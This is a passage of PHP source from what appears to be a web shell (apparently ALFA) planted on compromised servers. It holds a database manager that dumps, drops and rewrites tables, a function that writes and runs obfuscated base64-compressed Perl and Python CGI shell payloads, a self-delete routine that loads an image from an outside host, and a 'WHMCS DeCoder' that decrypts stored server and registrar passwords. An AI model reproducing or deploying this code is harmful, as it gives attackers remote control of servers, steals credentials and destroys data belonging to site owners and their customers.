	$db = @json_decode($db, true);
	$conn = @mysqli_connect($db["host"], $db["user"], $db["pass"], $db["db"]);
	@mysqli_set_charset($conn, "utf8");
	if($conn){
		if($type == "load_all_tables"){
			$tables = array();
			$q_tables = @mysqli_query($conn, "SELECT `table_schema`, `table_name` FROM `information_schema`.`tables` WHERE `table_schema` IN ('".implode("','", $db["databases"])."');");
			$count = 0;
			while($row = @mysqli_fetch_assoc($q_tables)){
				if($sql_count){
					$count_q = @mysqli_query($conn, 'SELECT COUNT(*) FROM `'.$row["table_schema"].'`.`'.$row["table_name"].'`');
					if($count_q){
						$count = @mysqli_fetch_row($count_q);
						$count = $count[0];
					}
				}
				$tables[$row["table_schema"]][] = array("name" => $row["table_name"], "count" => (int)$count);
			}
			foreach($db["databases"] as $db){
				if(!isset($tables[$db])){
					$tables[$db] = null;
				}
			}
			echo @json_encode($tables);
		}elseif($type == "dump_drop"){
			if($db["mode"] == "drop"){
				foreach ($db["tables"] as $table) {
					@mysqli_query($conn, "DROP TABLE `".$table."`;");
				}
				$tables = array();
				$q_tables = @mysqli_query($conn, "SHOW TABLES;");
				$count = 0;
				while($row = @mysqli_fetch_array($q_tables)){
					if($sql_count){
						$count_q = @mysqli_query($conn, 'SELECT COUNT(*) FROM `'.$row[0].'`');
						if($count_q){
							$count = @mysqli_fetch_row($count_q);
							$count = $count[0];
						}
					}
					$tables[] = array("name" => $row[0], "count" => (int)$count);
				}
				echo @json_encode($tables);
			}else{
				if(strlen(alfaEx("mysqldump"))>0){
					alfaEx("mysqldump --single-transaction --host=\"".$db["host"]."\" --user=\"".$db["user"]."\" --password=\"".$db["pass"]."\" ".$db["db"]." ".implode(" ", $db["tables"])."  > ".$db["dump_file"]);
				}else{
					$fp = @fopen($db["dump_file"], "w");
					foreach ($db["tables"] as $table) {
						$res = @mysqli_query($conn, 'SHOW CREATE TABLE `'.$table.'`');
						$create = @mysqli_fetch_array($res);
						$sql = "DROP TABLE IF EXISTS `".$table."`;\n" . $create[1].";\n";
						if($fp) fwrite($fp, $sql); else echo($sql);
						$tbl_data = @mysqli_query($conn, 'SELECT * FROM `'.$table.'`');
						$head = true;
						while($item = @mysqli_fetch_assoc($tbl_data)){
							$columns = array();
							foreach($item as $k=>$v) {
							if($v == null)
							$item[$k] = "''";
							elseif(is_numeric($v))
							$item[$k] = $v;
							else
							$item[$k] = "'".@mysqli_real_escape_string($conn, $v)."'";
							$columns[] = "`".$k."`";
							}
							if($head) {
							$sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
							$head = false;
							} else
							$sql = "\n\t,(".implode(", ", $item).')';
							if($fp) fwrite($fp, $sql); else echo($sql);
						}
						if(!$head)
							if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
					}
				}
				echo @json_encode(array("status" => true, "file" => $db["dump_file"]));
			}
		}elseif($type == "load_tables"){
			$tables = array();
			$q_tables = @mysqli_query($conn, "SHOW TABLES;");
			$count = 0;
			while($row = @mysqli_fetch_array($q_tables)){
				if($sql_count){
					$count_q = @mysqli_query($conn, 'SELECT COUNT(*) FROM `'.$row[0].'`');
					if($count_q){
						$count = @mysqli_fetch_row($count_q);
						$count = $count[0];
					}
				}
				$tables[] = array("name" => $row[0], "count" => (int)$count);
			}
			echo @json_encode($tables);
		}elseif($type == "alter"){
			$db["alter"]["type"] = strtolower($db["alter"]["type"]);
			$inputs = $db["alter"]["type"]."(".$db["alter"]["input"].")";
			$text_input = array("longtext", "text", "mediumtext", "tinytext");
			if(in_array($db["alter"]["type"], $text_input)){
				$inputs = $db["alter"]["type"];
			}
			@mysqli_query($conn, "ALTER TABLE `".$db["table"]."` MODIFY COLUMN `".$db["column"]."` " . $inputs);
			$error = @mysqli_error($conn);
			if($error){
				echo $error;
			}else{
				echo "ok";
			}
		}elseif($type == "edit" || $type == "delete" || $type == "delete_all"){
			if($type == "edit"){
				$q = @mysqli_query($conn, "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` WHERE `".$db["col_key"]."` = '".addslashes($db["key"])."' LIMIT 0,1");
				$row = @mysqli_fetch_assoc($q);
				if($row){
					$columns_query = @mysqli_query($conn, "SELECT COLUMN_NAME as name, COLUMN_TYPE, DATA_TYPE as type FROM information_schema.columns WHERE `TABLE_SCHEMA` = '".$db["db"]."' AND `TABLE_NAME` = '".$db["table"]."'");
					$columns = array();
					$edit_data = array();
					while($row2 = @mysqli_fetch_array($columns_query, MYSQLI_ASSOC)){
						$input = array("col_type" => $row2["COLUMN_TYPE"]);
						$row2["type"] = strtolower($row2["type"]);
						switch($row2["type"]){
							case "longtext": case "text": case "mediumtext": case "tinytext":
								$input["tag"] = "textarea";
							break;
							case "int": case "smallint": case "bigint": case "tinyint": case "mediumint":
								$input["tag"] = "input";
								$input["type"] = "number";
							break;
							default:
								$input["tag"] = "input";
								$input["type"] = "text";
						}
						$columns[$row2["name"]] = $input;
					}
					foreach($row as $key => $v){
						$edit_data[] = array("col" => $key, "value" => htmlspecialchars($v, ENT_QUOTES, 'UTF-8'), "type" => $columns[$key]);
					}
					echo @json_encode($edit_data);
				}
			}else{
				if($type == "delete_all"){
					$rows = implode("', '", $db["rows"]);
				}else{
					$rows = addslashes($db["key"]);
				}
				$query = "DELETE FROM `".$db["db"]."`.`".$db["table"]."` WHERE `".$db["col_key"]."` IN ('".$rows."')";
				@mysqli_query($conn, $query);
				$error = @mysqli_error($conn);
				if($error){
				 	$status = false;
				}else{
				 	$status = true;
				}
				echo @json_encode(array("status" => $status, "error" => $error, "query" => $query));
			}
		}elseif($type == "update"){
			$query = "UPDATE `".$db["db"]."`.`".$db["table"]."` SET ";
			foreach($db["data"] as $col => $val){
				$query .= "`".$col."` = '".mysqli_real_escape_string($conn, $val)."',";
			}
			$query = substr($query, 0, -1);
		    $query .= "WHERE `".$db["col_key"]."` = '".$db["key"]."'";
			$res = @mysqli_query($conn, $query);
			echo @json_encode(array("status" => $res, "error" => @mysqli_error($conn)));
		}elseif($type == "insert"){
			$query = "INSERT INTO `".$db["db"]."`.`".$db["table"]."` ";
			foreach($db["data"] as $col => $val){
				$cols .= $col . ",";
				$vals .= "'".mysqli_real_escape_string($conn, $val)."',";
			}
			$cols = substr($cols, 0, -1);
			$vals = substr($vals, 0, -1);
			$query = $query . "(" . $cols . ")" . "VALUES(" . $vals . ")";
			$res = @mysqli_query($conn, $query);
			echo @json_encode(array("status" => $res, "error" => @mysqli_error($conn)));
		}else{
			$pages = 0;
			$title = false;
			$query = "";
			$tbl_content = '<table width="100%" cellspacing="1" cellpadding="2" class="main mysql-data-tbl" style="background-color:#292929">';
			$line = 0;
			$tables = array();
			$columns = array();
			if($type == "load_data"){
				$query = "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` LIMIT 0,30";
				$tbl_count_q = @mysqli_query($conn, "SELECT COUNT(*) FROM `".$db["db"]."`.`".$db["table"]."`");
				$tbl_count = @mysqli_fetch_row($tbl_count_q);
				$columns_query = @mysqli_query($conn, "SELECT COLUMN_NAME as name, COLUMN_TYPE as type, COLLATION_NAME as collation, DATA_TYPE as data_type, CHARACTER_MAXIMUM_LENGTH as type_value FROM information_schema.columns WHERE `TABLE_SCHEMA` = '".$db["db"]."' AND `TABLE_NAME` = '".$db["table"]."'");
				while($row2 = @mysqli_fetch_array($columns_query, MYSQLI_ASSOC)){
					$columns[] = $row2;
				}
				if($tbl_count[0] > 30){
					$pages = ceil($tbl_count[0] / 30);
				}
			}elseif($type == "query"){
				$query = $db["query"];
			}elseif($type == "page"){
				$db["page"] = (int)$db["page"] - 1;
				$query = "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` LIMIT ".($db["page"]*30).",30";
			}elseif($type == "search"){
				$search = "";
				$search_noval = array("= ''", "!= ''", "IS NULL", "IS NOT NULL");
				foreach($db["search"] as $col => $val){
					$search_noval_r = in_array($val["opt"], $search_noval);
					if(empty($val["value"]) && !$search_noval_r)continue;
					if(strstr($val["opt"], "...") || $search_noval_r){
						$val["opt"] = str_replace("...", $val["value"], $val["opt"]);
						$search .= $col . " " . $val["opt"] . " AND ";
					}else{
						$search .= $col . " " . $val["opt"] . " '".addslashes($val["value"])."' AND ";
					}
				}
				$search .= "1=1";
				$query = "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` WHERE " . $search;
			}
			$q_tables = @mysqli_query($conn, $query);
			if(!$q_tables){
				echo @json_encode(array("status" => false, "error" => @mysqli_error($conn), "query" => $query));
				return false;
			}
			$col_key = @mysqli_query($conn, "SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = '".@addslashes($db["db"])."' AND TABLE_NAME = '".@addslashes($db["table"])."' AND COLUMN_KEY = 'PRI'");
			if($col_key){
				$col_key = @mysqli_fetch_row($col_key);
				$col_key = $col_key[0];
				if(!empty($col_key)){
					$tbl_content = '<div style="margin-bottom:5px;margin-top:5px;"><button col_key="'.$col_key.'" tbl_name="'.$db["table"].'" db_id="'.$db["db_id"].'" 	db_target="'.$db["db"].'" onclick="alfaMysqlDeleteAllSelectedrows(this);return false;">Delete Selected Rows</button></div><table width="100%" cellspacing="1" cellpadding="2" class="main mysql-data-tbl" style="background-color:#292929">';
				}
			}else{
				$col_key = false;
			}
			while($item = @mysqli_fetch_assoc($q_tables)){
				if(!$title){
					$tbl_content .= '<tr style="background-color:#305b8e;">';
					if($col_key){
						$tbl_content .= '<th style="width: 55px;text-align:center;"><input db_id="'.$db["db_id"].'" onchange="alfaMysqlTblSelectAll(this);" type="checkbox"></th><th style="width: 55px;text-align:center;">Edit</th><th style="width: 55px;text-align:center;">Delete</th>';
					}
					foreach($item as $key => $value){
						$tbl_content .= '<th>'.$key.'</th>';
					}
					reset($item);
					$title=true;
					$tbl_content .= '</tr><tr>';
				}

				if($col_key){
					$cacheMsg = '<td style="text-align:center;"><input row_id="'.$line.'" type="checkbox" name="tbl_rows_checkbox[]" value="'.$item[$col_key].'"></td><td style="text-align:center;"><a class="db-opt-id" href="javascript:void(0);" db_id="'.$db["db_id"].'" db_target="'.$db["db"].'" tbl_name="'.$db["table"].'" col_key="'.$col_key.'" key="'.$item[$col_key].'" onclick="alfaMysqlEditRow(this, \'edit\');" style="color:#0acaa6;">Edit</a></td><td style="text-align:center;"><a class="db-opt-id" href="javascript:void(0);" db_id="'.$db["db_id"].'" db_target="'.$db["db"].'" tbl_name="'.$db["table"].'" col_key="'.$col_key.'" key="'.$item[$col_key].'" row_id="'.$line.'" onclick="alfaMysqlEditRow(this, \'delete\');" style="color:#ff1e1e;">Delete</a></td>';
				}
				$tbl_content .= '<tr class="tbl_row tbl_row_l'.$line.'">'.$cacheMsg;
				$line++;
				foreach($item as $key => $value){
					if($value == null){
						$tbl_content .= '<td><i>null</i></td>';
					}else{
						$tbl_content .= '<td>'.nl2br(htmlspecialchars($value)).'</td>';
				}
				}
				$tbl_content .= '</tr>';
			}
			$tbl_content .= '</table>';
			if(!$title){
				$tbl_content = "<div style='padding:5px;border:1px dashed;margin:10px;'>Table is empty...</div>";
			}
			echo @json_encode(array("status" => true, "table" => $tbl_content, "columns" => $columns, "pages" => $pages, "query" => $query));
		}
		@mysqli_close($conn);
	}
}
function alfaselfrm(){
if(isset($_POST['alfa1'])&&$_POST['alfa1']=='yes'){
echo(__pre().'<center>');
if(@unlink($GLOBALS['__file_path'])){
echo('<b>Shell has been removed</i> :)</b>');
}else{
echo 'unlink error!';
}
echo('</center>');
}
if(isset($_POST['alfa1'])&&$_POST['alfa1']!='yes'){
echo "<div class=header>";
echo "
<center><p><img src=\"http://solevisible.com/images/farvahar-iran.png\"></p>";
echo '<p><div class="txtfont">Do you want to destroy me?!</div><a href=javascript:void(0) onclick="g(\'selfrm\',null,\'yes\');"> Yes</a>';
echo '</p></center></div>';
}
}
function alfacgishell(){
alfahead();
$div = "";
alfaCreateParentFolder();
@chdir($GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__);
if(!in_array($_POST['alfa1'],array('perl','py'))){
$div = "</div>";
echo '<div class=header><center><p><div class="txtfont_header">| CGI Shell |</div></p><h3><a class="rejectme" href="javascript:void(0)" onclick="runcgi(\'perl\')">| Perl | </a><a class="rejectme" href="javascript:void(0)" onclick="runcgi(\'py\');">| Python | </a>';
}
if(isset($_POST['alfa1'])&&in_array($_POST['alfa1'],array('perl','py'))){
@mkdir('cgialfa',0755);
@chdir('cgialfa');
alfacgihtaccess('cgi');
$name = $_POST['alfa1'].'.alfa';
$perl = '#!/usr/bin/perl   -I/usr/local/bandmin'."\n".'use MIME::Base64;use Compress::Zlib;eval(Compress::Zlib::memGunzip(decode_base64("H4sIAAAAAAAA/6UZDXfTRvKvLBthSRBbtktazrJcQuJA3iUhlxju9aJgZGlt70OWVH2QpMb97Tezu7KkEKC0yUORZud7ZmdmlyJj5PT4dDwYvPQy9vMzuwDAEQ+ZBETeignQwU1AdG+WTRMvX+q25i/4NOApcQg8EcsoFw2ta5q29l8enU1guWtrZ5ODVXDJEviiLWprbyN+W0FsgBzEq5UXBRO+YnGRHxapl/M4gtUekF8u45vDO5DB/TdFnhQ5wm0NtBKC4WvB8jBe8Ih8/ozvyU3BA0MbmvhNvXDuoYhSoKFU+5VUig1ITSlTIJ+DwXVk6gcU8GhyE1DAOAdL7/OjritQLES4YOAY5udx2sQh/VGrR3qjVl/g4ltPwIAoK2bkgnnBuZeCy9dh7HshMZ7wyAQeL6aEz+FpK7DGd4kG7/D8yO7g+ckLQe5pEeY88dL8KE5Xh17uAak2Pnu31g/enE3GZ5Pp5Lfzsb4hzp/EWpXIrjUH9HYA+DaZxUUUeOmdY3Semppl87khOVyM//N2fDmZno4nr98cAg/2O6GvxhNqrjUebQUB0sVv08vJxfHZK31jb1iYfZvF+ZtL5JGC6cbl5PD4DKzh0e49vU/GZ68mr/WNaW+27P6uTaDwSwUBtfV2W+9oPftFyDPMriwJeW5YWxRL6APOfQ0asvRlHCCVhthXvesmGDRwUzfCf5/hT2SVy0jxwdZKYr18/ZNkgkKzAJVHa30Ouw+VRnuIQKpYAHdcxrx3XIq2uLQkk/i92pdgTS1rcR+WIQy8A0nk9G1licav4ZU/fQrOKQES/33nqZAoVKwvAXfDvVFKQBYqBSATlYniDVkY742GW0zzswBo8KWZQsUt7mOj0zGtxPM/GtSnu2TJbg2tZ5rWgglDUJKwFSjsDaYXW78Q+acC1yoDBiYyz1/CBzG6pNMh2g6AMVkr49ynFgHxRm0XVZwcyQmxd0nfVEZ+V8kfNKUDZdDtUtzfRsDmPGJQvspVLKZ1TGX1BovF2ySMvQDL9dpfxomhTbwUCuAZBMsU3GoAdNhBkaYsyg95aqJ+K+vKdV3rGva4Nkm9KJuzFJmJtUfG1XvrvetePzG1R3adESqh6h/uGrWEhJf8D5TDo9yAJF1gM2hmtEksqOn9ZyYWlThhkfH2/OTN/uHR8cl4l9BRTQw1zfWMR6s4YDUkYZaspnaSgiBSrZF7wmw/jLMGsSKhpbEsIPe1//fLjhtRhahPlowgQ0L1zkz1w4aXOzolN15GChEJ4JcVvs+ybF6E4V1Hl8mppB55qBr0mkfUlvE7xwUUrQIJ9YqsNSxbWJWGPsSKpaOhAMQRUKx47tB8ybOO/OgEPPNmwNXJ04LZYiXoQIYUzJnlsWcUEct8L2EGi3zw5NuLY+i1SRwBZ6OObUKaUQJI+V3CHLotolUNpWTF8mUcOLJcE8/HHu2AY7RLP+VJfgJ9CUHgktEw9GYsJEDsUOWaFKBZ4kWEA4vpdI6uLBIAWggdkWGWp3G0GLWiWZbY8nmwjCGCxBMxAESJMbQE99GQRzgNZPldCCqDJ5LQuxtEYByYglK2ksF5/tKLFogW+8UKrO9ABMchw9eXd8eB4epbnVzd7PAoYunryemJI7yE8rOr7nVHDESUSC8hlBJRGumckgzyx6E/7dFSM7kiI1XSlF8yRkrFLYXEWfIgYFHJOdgig6urHSzc/HUq70sRIpbwR6WVLhr7FKwSTThleZFGog3jCxFpaNcTWEGqzD33Fkx2prU2FvkVVPo16439EIJoDFfvvfYf++3/ddv/ujYt/bHeKSJZMF8/obtQLC22KPftQQyaR3kbDR6QnN3m1jJfhdhQtlt2iJDRcAl6jYY5z0M2OkDBZHZH9k+O9smE7Z+SNjl4dUzOWRoOLYk0FHk0erKGCTSEEiwTabOzTYv1HPyYD0jKF8vcjj+xFAA3A+l224/DOB3s9Pfm827XvuFBvhz0nnWTW7tMTCiLyLc9g6Hto43Kt7dMCAtDnmQ8s2+WPGdt2BI+WBjFN6mX2BuR7+sVlB0etYX8AZRR4A30OYdxsO2FfBENyAqUCZk9i1MICuAktySLQx4QKHX2DLy6SHGmAd9hBYQNDt4E7Nt2tvQC1KMLv8+Aaqc7/qn7bF9xaqdewItsgEvKNtLfQwV+xAy/SDPwEUlijgn4FcdIY4nc6+u6zmiDikHI5nmpSE94YiO2wpXYCnKPXa+VwFJenZcI7sNukpEkcYoF4yEHbHb8VbD+W9xK3/2CKj8QzwekJV4Q8GjRVk7KcqjKA7L35QpDTRC+waBAaD3YyliTlH6NvK5pX1O+FFzTpW7PzpH4KQUPej8Dmkr8vef+3t7zMvG73cfVDvGKPLY3WL5xgw0tuTVnOP3GEdamb1VlcDXW4zkgZAb2qNlCSHToTlf8QGGNE+lKh8IXpkbtU74KtWrfS4ZOFwB0FjCTpkGVrJouVBMlCgJJR1dkOKtKCXiEkcwLSAvS9xPPOHRh8qcAq68XixU0/I4fr4bWbESusf5GeVV/hzl2biLd7NAeDBJSS/QeJT7sJdw/4GihJ34rxzu0D4rmyCJoECmt57DrHPqOpYEXeWVfQhJQo2HXTr8/7vefi5XLSnNysOCqNs5GSm0CtTeC8yxYn8cEmz5LIcA4BHV0iZcH+MDG0mwRR3EM9pZTkNJ7RDutB8YfY9uHOrTiCA/0FfzFrMEUwhpPa3LUDcIJJPgxFgLktdbOUxh28ERXnb9rPWlExBEc4irmEjlH6Cqfuz/9Ai61ddBze9WAKolh5cX3KGrOodWA8yVNfzZnvT2gqalV4l+7GqF2NQ2iM2Y/PA3KleW9Jej8jVWYlhxXX8JOWzdmSFeHSKu7no7u6hux6v/QhOlXE+Y/nU+3o9aPjKJ/a7ICgEweSO46A6wWJbkvp0yoUNvZr/sXZzJfpus97HI2bM6NimQ0oo3ZWD6/S7+USkZiBg65/9GhEHw/juYcdpur76eM3MUFnFvg5VdIAJUBQCQSQk6ARA2Fcw8+7K1Or2M4p1WDJWToPxoqm9eAa+D0SG5cc+2FHqjbNatJUKASduszhiV55d3yVbEiORCTGM6IX7lTzBjYHhiZWZ7BxrfML3JWMlxvWtsrOPteOm1vuC4PLo7PJ9Oz/dMxHDNru73CGF+8G19sMZqna1Jex9iaTN0ShIdW7aKISmUcEjDcFtOZuJyVp2kfr8C0xqD9AFaAWPJSoIH6QV1ufsCTdGMN40XFwbyhAl4TvHezJ37gZk/xxgkvz2CwgBOivO75LoF9n0LGv3lFqi5oOzWovdHehMEDR4nKPdQPiFuv6S6F6qtY4aKSWwGV+V9xjWT8wbQ3rXsnHLy/wXvfv9RRth3DfVFPjhqmLO73WuIw4J/KBqGGQ5xmBn0cx/SRGD+k5YOHuomaMUUDqgKybUCySYOI0TD5tqjGYFoKL4dKksY3maP3uzrJEphJ/CWDoqKLygCiRTqorMaMUqdPc92qLqvKBPiLcawbU0+Pen3QLo9frfX9k4tTcQ3qtprb35b14ytFQd0of/EfDcD2s9Or8g3v6chnaouLKwWUmLvbemPi0SdkxrCxPgJWU3XgxRvQ1I1MvE1VCaBN8QC7AWndRnGsMlJo+GU13GzKFLLK+JQxtpLaSEbt1lfHJLt1b1Kz/w8wblS+FRoAAA==")));';;
$py = '#!/usr/bin/python'."\nimport zlib, base64\n".'eval(compile(zlib.decompress(base64.b64decode("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")),\'<string>\',\'exec\'))';
if($_POST['alfa1']=='perl'){$code = $perl;}else{$code = $py;}
if(__write_file($name,$code)){
@chmod($name,0755);
echo '<iframe src="'.__ALFA_DATA_FOLDER__.'/cgialfa/'.$name.'" width="100%" height="600px" frameborder="0" style="opacity:0.9;filter: alpha(opacity=9);overflow:auto;"></iframe>';
}
}
echo $div;
alfafooter();
}
function alfaWhmcs(){
alfahead();
echo '<div class=header>';
function decrypt($string,$cc_encryption_hash){
$key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
$hash_key = _hash($key);
$hash_length = strlen ($hash_key);
$string = __ZGVjb2Rlcg($string);
$tmp_iv = substr ($string, 0, $hash_length);
$string = substr ($string, $hash_length, strlen ($string) - $hash_length);
$iv = $out = '';
$c = 0;
while ($c < $hash_length)
{
$iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
++$c;
}
$key = $iv;
$c = 0;
while ($c < strlen ($string))
{
if (($c != 0 AND $c % $hash_length == 0))
{
$key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
}
$out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
++$c;
}
return $out;
}
function _hash($string)
{
if(function_exists('sha1'))
{
$hash = sha1 ($string);
}
else
{
$hash = md5 ($string);
}
$out = '';
$c = 0;
while ($c < strlen ($hash))
{
$out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
$c += 2;
}
return $out;
}
AlfaNum(8,9,10);
echo "<center><br><div class='txtfont_header'>| WHMCS DeCoder |</div><p>".getConfigHtml('whmcs')."</p><form onsubmit=\"g('Whmcs',null,this.form_action.value,'decoder',this.db_username.value,this.db_password.value,this.db_name.value,this.cc_encryption_hash.value,this.db_host.value); return false;\">
<input type='hidden' name='form_action' value='2'>";
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'cc_encryption_hash : ', 'inputName' => 'cc_encryption_hash', 'id' => 'cc_encryption_hash', 'inputValue' => '', 'inputSize' => '50')
);
create_table($table);
echo "<p><input type='submit' value=' ' name='Submit'></p></form></center>";
if($_POST['alfa5']!=''){
$db_host=($_POST['alfa7']);
$db_username=($_POST['alfa3']);
$db_password=($_POST['alfa4']);
$db_name=($_POST['alfa5']);
$cc_encryption_hash=($_POST['alfa6']);
echo __pre();
$conn=@mysqli_connect($db_host,$db_username,$db_password,$db_name) or die(mysqli_error($conn));
$query = mysqli_query($conn,"SELECT * FROM tblservers");
$num = mysqli_num_rows($query);
if ($num > 0){
for($i=0; $i <=$num-1; $i++){
$v = @mysqli_fetch_array($query);
$ipaddress = $v['ipaddress'];
$username = $v['username'];
$type = $v['type'];
$active = $v['active'];
$hostname = $v['hostname'];
echo("<center><table border='1'>");
$password = decrypt ($v['password'], $cc_encryption_hash);
echo("<tr><td><b><font color=\"#FFFFFF\">Type</font></td><td>$type</td></tr></b>");
echo("<tr><td><b><font color=\"#FFFFFF\">Active</font></td><td>$active</td></tr></b>");
echo("<tr><td><b><font color=\"#FFFFFF\">Hostname</font></td><td>$hostname</td></tr></b>");
echo("<tr><td><b><font color=\"#FFFFFF\">Ip</font></td><td>$ipaddress</td></tr></b>");
echo("<tr><td><b><font color=\"#FFFFFF\">Username</font></td><td>$username</td></tr></b>");
echo("<tr><td><b><font color=\"#FFFFFF\">Password</font></td><td>$password</td></tr></b>");
echo "</table><br><br></center>";
}
$query1 = @mysqli_query($conn,"SELECT * FROM tblregistrars");
$num1 = @mysqli_num_rows($query1);
if ($num1 > 0){
for($i=0; $i <=$num1 -1; $i++){
$v = mysqli_fetch_array($query1);
$registrar = $v['registrar'];
$setting = $v['setting'];
$value = decrypt($v['value'], $cc_encryption_hash);
if ($value==""){
$value=0;
}
echo("<center>Domain Reseller <br><center>");
echo("<center><table border='1'>");
echo("<tr><td><b><font color=\"#67ABDF\">Register</font></td><td>$registrar</td></tr></b>");
echo("<tr><td><b><font color=\"#67ABDF\">Setting</font></td><td>$setting</td></tr></b>");
echo("<tr><td><b><font color=\"#67ABDF\">Value</font></td><td>$value</td></tr></b>");
echo "</table><br><br></center>";
}
}
